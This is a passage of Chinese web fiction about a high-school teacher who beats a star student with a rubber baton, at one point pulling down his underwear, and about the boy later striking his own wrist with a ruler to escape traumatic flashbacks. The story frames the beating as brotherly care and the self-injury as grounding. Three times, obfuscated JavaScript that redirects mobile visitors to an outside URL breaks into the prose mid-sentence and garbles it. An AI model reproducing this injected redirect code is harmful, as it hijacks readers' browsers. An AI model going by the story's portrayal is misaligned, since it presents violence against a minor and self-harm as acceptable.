顾梓聿的声音已经低哑的几乎听不见了,声线颤抖得越来越厉害,两条腿在发抖,头在墙上磨来磨去,又黑又软的发丝凌乱,一绺绺被汗水黏在脸侧,甚是可怜。他的身体忍不住本能地想去避开挥舞的棍子,但他死死地将自己钉在原地,每一次疼痛过后,他都尽量深呼吸,让自己镇静下来。 既然选择接受,就没有中途逃开的道理。 程琤打人实在是颇具技巧,一记记抽下来,总是能让他体味到完整的苦楚。原来的几道檩子已经连成了一片肿胀,不知道有没有肿起两指高?反正比皮带痛多了,他已经撑不住了。 十记打完,顾梓聿长出了一口气,用两手支撑着墙,慢慢无力地跪倒在地上,用手胡乱地抹去脸上的汗水和泪水。此时,他无法去想自己的身后该是多么的五彩缤纷?红的,紫的,还是黑的?嗯,他个人比较倾向于黑紫黑紫的。 想到这里,他心里笑了出声:在这种环境中还能苦中作乐?顾梓聿啊顾梓聿,你还真是有才! “起来啊,竞赛的事儿还没完呢,这五记,你打算怎么挨啊?”程琤调侃的话听在顾梓聿心里,又是一阵惊悸。他之前一直努力忍着,但真的是忍到极限了。 “程老师,我这回…能在桌子上吗?”顾梓聿的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266184|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是低到听不见的轻。他小心翼翼的语气听得程琤眉头一挑——果然捱不住了。 程琤对于自己下手轻重还是很清楚的,尤其还是用这种橡胶棍。平常学生挨个三五记的,早就哭爹喊娘了。可顾梓聿今天竟然是站着挨的,总计十二下,已经很令他惊讶了。 “呵。”程琤笑了笑,也没表态,只是先拉过一张椅子坐下,随即指了指自己的腿,“喏,趴上来吧。” 顾梓聿的脸涨得通红,摇了摇头。 “记住,我就是你哥,你就是我弟,哥哥揍弟弟,没什么可害臊的。”程琤深深地直视着顾梓聿那双清亮的凤眼,他的声音低沉而清晰,每个字都落地可闻。 顾梓聿怔愣了片刻,一下没回过神来,可眼眶里顿时蓄满了泪水:他想起儿时第一次见到顾仲景,失去双亲的巨大悲痛使他并不能接受眼前這个陌生男子,很长一段时间,他们之间都是相敬如冰的关系。直到顾仲景第一次把他按在膝上责打時,他拼命挣扎,又踢又打,也是這一句話让他安靜了下來,泪流满面。 你就是我的孩子,老子打自己儿子,有什么可害臊! 这句话像是有着无形的力量,此时由程琤说出口,让他又变成了当初那个脆弱崩溃的小男孩。 程琤没有再等顾梓聿反应过来,象打小孩子一样,一把将他按在自己的腿上。顾梓聿下意识地双手撑地,却感到身后一凉,他猛地回头,却发现自己的底裤也被程琤一把揪了下来! “老师!”又羞又急的声音,宛若炸毛的小猫。 “说了叫哥!”程琤轻拍了顾梓聿一巴掌,又加了一句,“这下不算。” “…哥…不要。”顾梓聿低低地哀求,声音几乎微不可闻,可惜程琤根本不买他的帐。 “你以为把你裤子扒下来是为了给你没脸?我要看看你到底伤得怎么样。不要一下把你打坏了。” 顾梓聿听到这句话,才觉出程琤确是为了他好,不由大着胆子道:“哥,不如把剩下的那五记也一并勾销,算是疼了弟弟…” 话音未落,程琤冷着脸给了一记,正好落在一条肿胀的伤痕上,疼得顾梓聿直哆嗦,不敢再多嘴。 “再多嘴,这下不算,接下来好好记着数,不许讨饶!” 顾梓聿的伤处肿胀发紫得厉害,好多地方都破了皮,渗了血,没有个几天的功夫是好不了的,可这剩下五记是不能放过的。这孩子一路优秀惯了,从来没吃过什么苦头,很有自己的主意。 在马戏团里,刚出生不久的小象会被饲养员用一根沉重的铁链拴在柱子上。小象天性活泼,起初它不断地挣扎、用尽全力试图挣脱锁链的束缚。然而,幼年的它力量太小,无论如何挣扎,脚踝上的铁链始终纹丝不动。 多年后,这头小象已经长成了一头强壮的大象,完全具备挣脱这根锁链的力量。然而,它再也没有尝试过逃跑。哪怕锁链早已变得又细又脆,只要脚踝上依旧套着它熟悉的束缚,它便不会再试图迈出那一步。 趁着现在,他要用一根沉重的铁链,套住这只小象。 他两相思量,便挥动橡胶棍,精准而迅猛地落下五记,每一记都打在同一个地方,且他用了十足的力气。这样一场惨痛的捶楚,没有人能不刻骨铭心,顾梓聿会永远痛在骨子里,绝对终生难忘。 顾梓聿没有防备地惨叫出声,令无数女生倾心的面容惨白地扭曲着——这最后五下,竟比之前的力道还要再翻倍!终于,最后一记落下,程琤停了手。他无力地翻滚到地上,无声地抽泣着。大颗大颗的泪珠从眼眶里滴落。他鄙视着自己,因自己的软弱而感到丟脸。 不知过了多久,程琤轻踢了踢顾梓聿的腿道:“我要去你们班交代一些事情,你自己待一会儿,抽屉里有毛巾,有水,还有巧克力,自己收拾一下,能动弹了再回去吧。” “还有,”已经走到门口的程琤转过身来,严厉地,一字一句地说道,“顾梓聿,你最好牢牢记住你犯下的错误,还有今天的教训。成绩不是说说就有的,是努力和付出换来的。我希望这一次罚你,是第一次,也是最后一次。你记住了吗?” “是,记住了。”顾梓聿挣扎着半跪起来,哆哆嗦嗦地挽上裤子,布料蹭到伤处每下都是钻心的疼。 “啊,解决了一个小屁孩,今天的天气真美好啊!”自说自话离开的某人完全没有注意到正是因为他的拖堂,一班的全体同学才在全校师生都走光的情况下“坚守”到快六点。如今,只剩下漫天的繁星愁容满面地陪着这个灯明几净的教室,和教室里的四十八名学生了。 4. 最好的 已经过六点了。 平常日子,过了六点也不稀奇,一般都是六点半才会放学。而像他们这些搞竞赛的,加课是加在晚上,一般都要八九点才能到家,这也无怪乎搞竞赛的几乎个个肠胃都有点小毛病。最惨的就是组里两个小女生,为了提神猛喝咖啡,又不按时吃饭,结果就胃溃疡了。 可是今天是星期六啊,只是体育考试诶,连最后考的十三班半个多小时前也回去了吧。 姜明祎扭过头,看着窗外浓浓的夜色,心下叹了一口气。教室里有着明亮的灯光,也很温暖。整间屋子里都是沙沙的声音——多数人得知是程琤留的堂,都自觉地拿出化学《提高班》或竞赛书来做习题,譬如他自己。尽管体育考试很耗费体力,众人也尽量抓紧时间,为下学期的压轴竞赛做冲刺。 可还是忍不住为那家伙担忧啊——很明显的事,不是吗?整个班级就他一个人去了办公室没回来,而且还耽搁了这么久,私下地都有人在窃窃私语了,无外乎就是猜测顾梓聿是否被程琤教训之类的,他愈发觉得心烦意乱——他自己是受过这苦的。 一次为了钻研一道算法题,他空了化学一张卷子没写,侥幸地想着程琤不会检查,准备趁早读的时候再借同桌翁家骏的作业“参考参考”。可是那天好巧不巧程琤就来检查了,而且就在他刚开始抄答案的时候。 于是两个难兄难弟放学的时候被叫到办公室里骂的狗血淋头。而且程琤说的还极其恶心:“姜明祎啊,你就是把人家吃进去又吐出来的渣滓再吞进去,而且还当做是仙肴一样,是恭恭敬敬、满怀感激地吃下去的。你恶心不?” 别说他了,一旁的翁家骏听着都忍不住要呕了。程琤用铁尺赏了他们一人五下手板,打得还是右手,然后又罚他们抄一百遍元素周期表,抄完才能回家。一百遍啊!元素符号、元素名称、索伦语名、原子量一个不少。火辣辣的手怎么拿笔?! 最后还是班主任替他们解的围,虽然一百遍一遍不少,可至少宽了期限。自此以后,他和翁家骏就以血淋淋的代价成功的背下了元素周期表,从一号元素氢到第一百零三号元素铹,他都倒背如流。当然,他也不敢再欠化学作业了,顶多就是欠欠数学的压轴啊什么之类的。毕竟他是数学课代表嘛——滥用一点点小职权他相信张总也不会计较的哈。 不过现在想想,还是很对不起翁家骏的。这个老实同桌其实根本就不想借作业给自己抄,平白无故地被当做同党一并从严处理实在很委屈。好在自己也赔了他一顿哈根达斯“压惊”——可他好能吃啊!三份草莓,两份卡布基诺松露巧克力,一份牛奶太妃,还有一份冰激凌火锅!尽管自己也吃了不少就是了…… 把这段不美妙的记忆从脑海里赶出去,他用笔捅了捅前座的张瑾妤: “哎,程琤那时候很生气吗?” “面无表情。”张瑾妤也确实在面无表情地答话。只是她心里却和姜明祎一样担心。她深知程琤的习惯:他面无表情的时候,就是他最生气的时候。一般他都是带着微微的笑或者调侃的神情和她说话,但这次竟不看她一眼,只是自己做自己的事。 顾梓聿命途多舛了。这是张瑾好对自己同座下的定语。 渐渐地,有人开始烦躁起来。说话聊天的声音越来越大。只有不到半数的人还在专心地写习题,打草稿,一堆男生已经凑到一起聊起了球赛,还有人戴起耳机听音乐,打PSP。姜明祎满脸无语地看着翁家骏边听新概念3的录音边默写,不,应该是听写。写的速度居然还很快。一眨眼,一篇就过了,又一眨眼,另一篇又过了。姜明祎不禁想仰天长啸——谁来救救他这个索伦语烂到爆的孩子啊! 此时的一班是一锅煮开了的底粥,只等放料下锅了。 张瑾妤满脸无奈地合上了《提高班》,程琤已经是怒火满腔了,这群小子还这么嚣张,她倒要看看这些家伙是怎么死的!正准备站起来维持秩序,眼尖的她就看到一道身影穿过走廊,于是连忙轻咳一声,悄声道:“老师来了!” 大部分人听到了这如及时雨般的预先警报,但有一些可怜的孩子并没意识到危险已然降临。 “聒噪!你们就是这样学习的吗?”程琤走进教室,“老远就听到声音了!沸反盈天啊!” 然后一群戴耳机,玩切西瓜的孩子就悲催了。 “彭昱!方灵烨!傅尧!杨文韬!起立!” 一个戴着细框眼镜,一头卷毛,一脸英气的男生合上《提高班》站了起来; 接着是一个瘦瘦高高,站没站相但是眼睛很有神的男生扔下PSP满脸不爽地站起来; 然后是一个有着一头浅金色头发和祖母绿眼睛的男生收起信竞书; 最后是一个皮肤黝黑,体型微胖的男生摘下耳机。 “你们四个,平时不是很骄傲吗?考前还信誓旦旦地说化学市质检小菜一碟,你们的分数在这里。” 程琤用悠长而戏谑的声调念出成绩,上扬的尾音是显而易见的嘲笑: “彭昱,80分,年段第35名,实验题全错。来,让我看看,怎么会不知道磁铁矿的成分是什么呢?还有高炉炼铁的方程式老师没有讲过吗?” 一脸英气的男生不敢置信地看着被传到自己桌子上的试卷,紧紧掐着自己的手,说不出话来。 “方灵烨,83分,年段24名,计算题全扣。为什么?因为没有过程。你就直接写了一个答案在这里,过程和解答步骤都没有,鬼会给你算分?你这是算什么?显摆一下你的头脑很好用?我有没有和你讲过答题的完整度很重要!” 站没站相的男生顿时苦着脸,说:“写顺手了嘛.” 程琤懒得理他,而是又转向了一个有着祖母绿眼睛的男生,道: “傅尧,我记得我上课有说过高炉炼铁的几个方程式吧。你上课有带脑子来吗?92分,年段第十。” 傅尧的漂亮的耳朵根已经红透了,他的脸上没有一丝喜色,而是闪过一丝难言的耻辱。 “杨文韬,不错啊,成绩比期中考进步了一分,89分,年段14。可你自己说说,期中考的难度和市质检能比吗?你连氨水都不会写!我教的平行班,连那些三四百名的都不会错!” 绰号“小刀”的杨文韬低下了头,平时毒舌的他死死地抿紧了唇。 程琤很满意。因为在他训人的时候,班里像死了一样寂静。没人敢发出丁点声响。 “说实话,你们好意思呆在一班,我都不好意思教下去。这次班级第一是张瑾妤,我本来应该表扬她,她考了95分,但名次却是年段第三。第一名是三班的赖志豪,他考了97分,第二名,五班的王嫣然,96分。” 一阵低低的吸气声响起,显然,大多数人都被这个事实惊到了—他们是谁?一班!一班是什么?重点班!重点班连单科前三都不在自己手里,还叫什么重点班?! 那么顾梓聿呢? 同时,很多人心里响起了这样一个声音。 程琤看也不看像木桩一样直愣愣地立在那里的四个男生,施施然道: “你们应该都知道刚才顾梓聿在我办公室了吧?很好奇每次化学都是第一的他考了多少?” 没人敢应声。但很多人在心里悄悄点头。 “76分。” 什么?!姜明祎差点跳起来。那天考完出来,虽然梓聿没说考的怎么样,但正常对他来说是没有什么难题的啊,怎么可能考到这样一个匪夷所思的分数?! 张瑾妤只是默然。她在和顾梓聿对答案的时候就知道了。顾梓聿选择题答案虽然是对的,但填涂到答题卡上的时候顺序全错了,应该要横着涂他却竖着涂,能蒙对一两题算他命大。一题选择题占三分,不考成这样才奇怪。 “很奇怪是吧,我也很奇怪。你们是怎么了,都能考出这种神奇的数字?我百思不得其解,于是就找顾梓聿‘谈话’,后来我想明白了。原来啊,其他平行班的同学都在想怎么样多拿分,于是他们就小心翼翼的答题;而你们呢,觉得市质检很简单,比我出的卷子简单多了,就想着快点做完,好休息休息,是不是?” 方灵烨看着考卷,貌似在发呆,心里却在不住地后悔:那天考试他只用了半个小时答题,剩下的半个小时他在空白的草稿纸上写满了《Star Wars》里所有的人物和编年史。 讲台下方突然一阵骚动,程琤拍了拍桌子,似乎想要制止,可还未开口,便注意到学生们的目光纷纷投向教室窗外。顺着他们的视线望去,只见顾梓聿步履略显蹒跚地穿过走廊,一步步朝前走来。 暖黄的灯光在他毫无血色的脸上打出或明或暗的色块,却没有办法掩盖他身上散发出来的若有若无的骄傲。裹得严严实实齐整干净的黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266185|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校服一一如果忽略他那有些奇怪的走路姿势,没人能看出他刚刚在办公室经历了什么。 程琤眯起双眼:这个家伙怎么回事?他明明记得自己已经告诉过他可以呆在办公室里休息吧?给他面子他还不要,难道他要让所有人看到自己最难堪的一面吗? 姜明祎死死地抠着手里的水笔,目光却始终不敢离开顾梓聿。 此时,张瑾妤的手指紧紧地绞在了一起——她眼前那个往常如翩翩浊世佳公子的同桌此时落魄的超乎她的想象。惨白的脸色,湿答答贴在额前的发丝,那顺着脸颊滑到下巴滴落的汗滴,他不动声色地咬着嘴唇,勉强站在门口,却还在对她微笑…是劝她不要担心吗? 她几乎不愿多看一眼。 “报告。” 顾梓聿略有些沙哑地声音响起。所有想象力丰富的人已经在脑中自动脑补“从来没被老师大声呵斥过的火星生物”被罚的情景。当然,很多人还不知道这一定语将在之后再次被打破。 “进来,到你的座位上,也不用坐下了。” “是。”这是对他的体贴,因为知道他根本没有办法坐在平板木椅上。 顾梓聿慢慢走回自己的位子,步伐略小,却极稳。他知道自己身后有很多好奇的目光,也明白自己为什么要回来——总是要面对的,既然他们想看,不如现在就让大家看个痛快好了。这样想着,他站定在自己位子上,带着微微的笑意,抬起头来。 程琤看着底下一群小破孩蠢蠢欲动的样子,不禁心烦意乱:你既然要回来,那就不要怪我拿你当反面教材,给你难堪。便皱眉道:“你们都已经看到自己想看的了。顾梓聿,我已经教训过了。也就是说,连最好的,我都舍得动手,那些不认真的,自己要小心了,不要让我有机会把你们的屁股打烂!” 尽管程琤后面的那句话有明显影射他的意思,竭力保持镇静的顾梓聿还是微微低下头,为那句“最好的”,那么真心实意地笑了一下。 “程老师,”张瑾好犹豫了一会儿,站起身,打断了程琤的话头。她偷瞄了一眼身边的顾梓聿——站起来,自己只到他的耳朵那里。 看着他眼中毫不掩饰的慌张和不赞同,张瑾妤微低着头,仍然选择把话说出口:“其实市质检的分数,我想顾梓聿应该只是填涂的顺序填错了。因为他错的都是选择题,一题三分,八题正好是二十四分。他跟我对答案的时候,选的选项都是正确的。” 她只是不愿意看到那样一个人,因为很巧合的特殊情况而受到不应受的批评。他那天早晨低血糖,和她要了好多巧克力。 程琤意味深长地看了自己这个称职负责的课代表一眼,笑了笑,道:“错了就是错了,不管什么原因。人们看的是结果,难道中考的时候,你也可以用这样的理由去说服判卷的老师吗?” 原来程琤他都知道?顾梓聿一下激灵:那他之前还逼着自己说那些重视基础的话.… “至于你们,反正我现在已经累了,也没力气教训你们这群小崽子了,就在这里先警告一下。你们看到顾梓聿挨罚,幸灾乐祸吗?他跟你们不一样!不只是因为市质检考不好,还因为他上个月参加高中化学联赛,没有拿到我预想的成绩,只有国家二等奖,所以我才罚的他。你们自己就掂量掂量吧,什么时候有了他那种底气,再来向我叫板不迟。” 程琤几乎算得上是双眼冒火地狠狠地剜了彭昱和杨文韬一眼——他们俩也都是化学竞赛被寄予厚望的种子。彭昱眼睛直直盯着前方,似乎要把黑板刺出一个洞,眉头紧皱地几乎绞在一起,昭示了他内心的不平静;杨文韬不愿躲开程琤的目光,又不能忍受那种红果果的责难,只好拼命瞪大双眼,近乎要瞪出泪水来。 程琤一甩手道:“好啦,今天就到这里吧,自己回去好好想想,下学期我要看到不一样的你们。 另外,化学竞赛班的同学,下星期试卷讲评结束后,星期一、三、五下午两点到六点来学校报到。” 他身后并没有传来任何的抱怨声,只是一片诡异的气氛。很好。他想。比起暑假叫他们来上课的费尽口舌,现在没有一个人来讨价还价。都是被顾梓聿那家伙刺激的呢。一只只骄傲的小狮子已经等不及开始相互挑战了。斗志昂扬啊!不愧是青春…… 一边感叹一边摇头的程老师似乎忘了其实自己也很年轻啊,为什么要故意扮老呢? 5. 别人的梦 在一阵桌椅与地面相互摩擦的喧哗声中,大多数人都飞快地背上书包,暗自庆幸着程琤汹涌的怒火没有波及到自己身上,脚底抹油似地回家了。 然而,不管再怎么压抑心中的好奇,还是有人忍不住偷偷关注顾梓聿——只见他轻松地背上书包,左手拿着从抽屉里拿出的一个厚厚的文件夹,右手抱着一沓分谱,走起路来虽然慢,却看不出任何的异样,也不禁熄了看热闹的心思。 其实,紧绷的衣物下,成片的肿胀稍稍一牵动就像撕拉一般的疼痛,皮肉上的痛楚还带着高热,根本无法忽略。这样程度的伤情,疼痛才刚刚开始,之后的几天,每一次牵动,不管做任何动作,伤处都一定会传来难忍的钝痛,像完美贴身的第二层皮肤,又像是一种延时的惩罚。 “喏,明珺,钥匙给你,明天的排练我得请一天假,就靠你啦。”身边走来一个自来卷的长发女孩,顾梓聿耸耸肩,递过一大串钥匙,无奈地笑了一下,压低了声音。 一双修长白皙的手臂撑在桌边,女孩抬起头,一双琥珀色的猫眼里泛着打趣的光。她眯了眯眼,笑吟吟地注视着他,意味深长道:“首席大人放心,明天也没有什么重要的安排,只是常规的排练而已,吴老师不会计较的。只是…这几天,要养好自己的身体啊。” 顾梓聿一瞬间尴尬极了,却只能摸摸鼻子,掩饰性地微微一笑——他早该料到的!这个古灵精怪的小女生… 明珺比明祎小了一岁多,两个人长得很像。不同的是明祎的眼睛更锐利狭长一些,也不那么女气。因为他们两家相互认识,他们又是同一个小学和中学一起升上来的,可以说算是一起长大的好玩伴。 姜伯父是帝都大学医学院的首席教授,他的父亲是早年间和钱文华驰名的“南姜北钱”,专精于颅外科,门生尽布海内外,是医学界的泰斗级人物。伯母则是曼彻斯特大学的高材生,现供职于外交部,精通多国语言,业务能力极强,常年奔走于国际事务之中。伯父伯母长期在帝都工作,难得回家,家里全靠明祎明珺两兄妹相互扶持。 本来姜明祎就是那种性格豁达的人,总有办法把严肃的事情变得轻松,属于“能躺绝不坐、能坐绝不站”的人。他也是那种心软到不行的人:朋友没带饭卡,他二话不说请客;兄弟失恋了,他能蹲在人家宿舍里陪着喝汽水、吹牛到半夜;甚至路上遇到小猫小狗,他都忍不住要喂两口。他很少真正生气,但如果朋友被欺负了,那他就会毫不犹豫地站出来,哪怕自己吃亏也无所谓。 “你干嘛老管别人啊?”明珺曾经好奇地问。? “因为他们是我朋友啊。”他理所当然地说,“我这人吧,没什么大志向,能和身边的人开开心心过日子,就挺好了。” 作为哥哥,从小到大,姜明祎对明珺一直是“纵容式”放养,最擅长对她睁一只眼闭一只眼,基本上只要不是太离谱的事,他都懒得管。他从不对妹妹严厉,甚至有点宠溺。小时候她学自行车摔破了膝盖,哭着找他,他先是大惊小怪地吹了半天伤口,然后又一本正经地说:“这可是战士的勋章!来,咱们立个flag,等你能骑车绕小区一圈,我就请你吃冰淇淋!” 后来她真的学会了,他果然大手一挥,带着她吃了个痛快,顺便还偷偷塞了几包零食回家。 她要学外语,他就大周末的甩开兄弟局陪她去外文书店买书;她想跑去鹿城大学找老外聊天,他虽然嘴上抱怨“你这小孩怎么就不能安分点”,但最后还是装作不经意地去那里打篮球,实则是为了偷偷跟去看看有没有“居心叵测”的外国大叔。 姜明珺的语言天赋很高,当别的孩子还在啃拼音、背九九乘法表时,她已经能捧着一本厚厚的索伦语小说,在院子里坐一下午,读得津津有味。她后来还自学了德语和法语。她喜欢法语的轻柔婉转,也沉迷于德语的结构之美——明祎对此始终不解,在他看来,外语不过是学校里的考试项目,费尽心力去钻研那些复杂的语法,简直是自找麻烦。可她却笑嘻嘻地说:“法语的发音很有趣呀,德语的语法又很难,这才好玩。” 每次听到这种话,姜明祎都会一脸无奈,揉揉她的头发,叹气:“妹妹啊,你这辈子是没救了。”可他嘴上这么说,心里却比谁都骄傲,总是在朋友面前炫耀:“我妹啊,语言天才,三国语言随便切换!” 三人如今已经认识六七年了,姜明祎和顾梓聿一直是同班同学,姜明珺又和顾梓聿同在乐团,尽管排练时顾梓聿精密运转地就像一台冰冷的机器,但私底下也很照顾她。有一次,她的某个乐句一直处理得不太顺,当天晚上,她就收到了顾梓聿发来的音频——是她排练时拉错的那个乐句的正确示范。他的关心和照顾,就这样藏在每一个细节里,于是顾梓聿对明珺来说,也是个很亲昵的哥哥。 “好了明珺,我们也该回家了。”姜明祎走过来,略带责怪地嗔了明珺一眼——就算她和阿聿关系亲密,也不该这样没大没小地开他玩笑。 明珺有点委屈地低下头,倒是顾梓聿没什么被冒犯的感觉,笑笑地拍了拍姜明祎的肩安慰他:“没事。” “要不要我去帮帮你?”看着妹妹走出教室,姜明祎低声道,眼神直直望着窗外。 “不必担心,明祎。”顾梓聿风淡云轻地一笑,“没事的。” “好。那我就先走了。”做兄弟这么多年,姜明祎又岂会不知道顾梓聿的骄傲和任性?他踌躇了一会,只是将一小瓶药片和一包冲剂塞进顾梓聿的衣袋:“止痛的,养胃的,你自己看着用,别吃多。” “嗯。”顾梓聿垂下眼帘,敛去眼中的情绪,心中却不由自主地暖起来,刚才那股如跗骨之蛆的冰寒已悄然散去。看着姜氏兄妹并肩远去的身影。他笑了——果然是兄弟啊。 回到家中,已经八点了。全身酸痛的顾梓聿终于能够最最彻底地放松下来。看到餐桌上过来做饭的柳姨留下的字条,顾梓聿忙奔去厨房。只是那虫草枸杞乌鸡汤早已凉透了,香楤粥又烂的不像话。他只能无奈地又插上插头——都怪程琤! 想到程琤,他不禁又想到下午那一番令他印象深刻的捶楚。打开浴霸,脱了衣服直接冲进浴室。不去看平日里最爱的大浴缸,而是直接打开花洒。冷水的冲击虽然让他哆嗦不停,但对于后身的伤来说还是很舒服的,至少不那么痛了。 等到不那么痛了,他才慢慢地将开关旋向了热水那一端。烫得皮肤发红的热水蛰着他的伤。在氤氲的水气中,他仿佛被热气熏昏了头。 他做了一个梦。 在那梦中,有一片绿茵茵的大草坪,阳光暖融融地洒在草坪上,一头苏格兰牧羊犬温驯地伏着,眯着眼,毛色油亮,尾巴偶尔轻轻扫过草地,似乎沉浸在日光的温暖中。远处儒雅的男人和温柔的女人一前一后骑在马上,相互追逐着,越过了一道不算矮的栅栏。男人身姿挺拔,衣襟微微翻飞,女人笑声清脆,鬓边的发丝随风飘扬,带着几分洒脱的自在。一个小男孩抱着一个木制的小风车,坐在漂亮的白色洋房的台阶上,一边吮吸着自己的拇指一边踢着光脚丫,笑得傻乎乎的。 风里飘来一阵淡淡的甜香,原来是不远处生长着的一丛奶白色的小花,花瓣小巧,颜色柔润。顾梓聿很清楚自己没有见过这种花,但他知道,就是知道,这是牛奶花,有纯纯的奶香把花梗拔掉,一吸,清甜甜的。 所以,他这算是跌入了另一个人的梦境吗? 突然,他发现自己不知什么时候置身于一个金黄色的黄昏中。同样是那个小男孩,只不过眉眼已长开了很多,只是在蹙眉时依稀可见几分稚气。他抬起头,问那个之前骑马的女人,妈妈,死,是什么。女人明显惊慌了一瞬,随即又假装镇静,伏下身来,平视着男孩,解释道:那是一个很长很长的梦,只是醒不来,永远在梦中生活。女人说这句话的时候,有高大的棕榈树在刺目的金黄色中摇曳,一切逐渐变得模糊不堪。 听到这句话,小男孩挺高兴的——醒不来?挺好诶!虽然吃不到妈妈亲手做的苹果派,但是也不用去上格斗课啦!那个老头整天板着一张脸,时不时就瞪自己一下,下了课以后还浑身都是伤,疼死了,不好玩不好玩。 他的身体比大脑更快做出反应,心跳加速、手指发抖、后心发凉、汗顺着后颈滑下。一些模糊的画面开始闪现——橘色的火光,耳鸣,地面震动…… 不行,不行!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266186|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 热水的温度似乎瞬间让他的血液如洪流般涌向脑门,脸颊发烫,温热的水珠滑过皮肤,每一滴都像是燃烧的火焰,而他的眼前是无人的黑暗,像是热气蒸发了他脑海里所有的理智,他整个人都失去了对当下的存在的意识,现实在这股灼热中变得模糊不清。 好晕啊。顾梓聿脚一软,跌坐在铺着鹅卵石的地上。身后的疼痛顿时贯穿了全身,将他拉回现实中。该死。怎么又这样了?自己在干什么啊! 长大了的男孩用双手捂住自己的脸,却仍有压抑不止的细碎的呜咽声从指缝间传出。不知过了多久,身下的伤大概都被压的麻木了,男孩才轻轻放下双手。墨黑的眼睛里流露出的是彻骨的哀怮。 踉踉跄跄地爬起来,关掉了头顶上的花酒,胡乱地擦了擦,就套上了衣服。看着笼满雾气的镜中的自己,突然一阵恶心,男孩痛苦的弯下腰,呼吸急促,扶着洗手台,死命地一阵一阵干呕。 不许这样!停止!我叫你停止啊!男孩在心底疯狂地嘶喊,每一次剧烈的呕吐都是一种无法抗拒的折磨,他脸上已经分不清泪和汗。 终于,恶心感慢慢平复了。男孩面无表情地打开水龙头,漱口,擦嘴,然后跌跌撞撞地走进了书房。 打开吊灯,柔和的橘黄色的灯光洒在伤心的小男孩身上,慢慢地溢开。顾梓聿将眼神投向了书桌最底下一格抽屉,犹豫了片刻,还是轻轻地拉了出来。抽屉里没放什么别的,只有一把檀木戒尺。 戒尺已经有很长一段时间没有被使用过了。早已磨得很光滑了的戒尺上一面刻着“克己复礼”,一面刻着“谨言慎行”。 顾梓聿轻吐出一口气,将左手的袖子撸到肘部,将手臂背部紧紧抵在桌面上,翻出手腕内侧皮比较薄的那一部分,举起戒尺,就狠狠地砸下去,一连三下。 痛觉犹如电流般穿透了他的神经,一种强烈的现实感,犹如一股汹涌的潮水,瞬间吞没了所有的杂乱思绪。每一分疼痛都能让他清晰地意识到:自己仍然活着,自己还存在。 只有痛,才能让他从那些回忆的阴影中挣脱出来,而不是快要掉进某个不属于现在的记忆里。 等到回过神来的时候,他只觉得血液疯狂地向那地方流去。倒吸一口凉气——原来疼痛真的可以使人清醒。他冰凉的手按上了迅速肿胀起来的伤,用疼痛稳住自己,他似乎又变回了那个强大的顾梓聿。 他想想,打开电脑,点开了邮箱,略显滞缓地打起字来。显然,左臂的伤仍在一跳一跳地痛。只是他又安下心来,心想:很好,至少这个痛楚是实实在在的,不是那些模糊的、随时可能涌上来的噩梦。 这种真实的疼痛,反而让他觉得活着。 “爸: 见信如面。您最近工作忙吗?有没有按时休息? 我这边一切都好,每天练琴,也没有偷溜去打球。化学竞赛成绩已经出来了,是国家二等奖。市质检的其他科目成绩还没出来,化学成绩有些不理想。程老师已经跟我谈过了,我会好好总结,确保下次不再犯相同的错误。 其他的事情您不必太担心,我会照顾好自己。那边气温降低,您还是要多加几件衣服,注意保暖。 我这就要睡了,您什么时候回来呢?我也好整理下家里。 儿聿敬上” 想了想,还是把最后一句话删掉了——这显得自己把家弄得多乱似的。 发完了邮件,顾梓聿却有一些无所适从:他没有具体告诉顾仲景自己的错误究竟有多么“弱智”,也没有说清楚“谈过了”是到了体罚的程度,他回来之前自己的伤能好吗?更没有写陈辰已经回来了的这个消息,到时如果顾仲景知道自己有意在瞒着他,该会生多大气呢?但他也不能再写下去了。 纠结中,快速喝完汤和粥的男孩终于感到活过来了。他没有泡冲剂,只是拿了那个据说是治头疼的小药瓶,摸了一片就囫囵吞了下去,冲上床,以最快的速度把自己裹好——可是,自己今天好像还没练琴啊。 算了算了,管他呢,累死了,睡吧。 窗外,柔和的月色悄悄洒落进安静的卧室内,只有月亮知道小男孩的脆弱和不完美。 6. 和师兄的初见面 一阵悠扬悦耳的手机铃声响起,顾梓聿不耐烦地翻了一个身,把头埋到柔软蓬松的被子里,丝毫没有起身接听的打算——开什么玩笑?今天可是难得的周日,考试刚刚结束,顾仲景不在家,又没有排练的压力。昨天的星期六已经被彻底毁掉了,今天好不容易能补眠,就算是地震海啸他也是不会起身的! 可那手机始终不知疲倦地,边哼着 Scarborough Fair,边在床头柜上扭来扭去,仿佛催命一般,顾梓聿再也没了睡意,猛地伸手抓过手机,心里已经决定,这次无论对方是谁,都要先臭骂对方一顿再说! 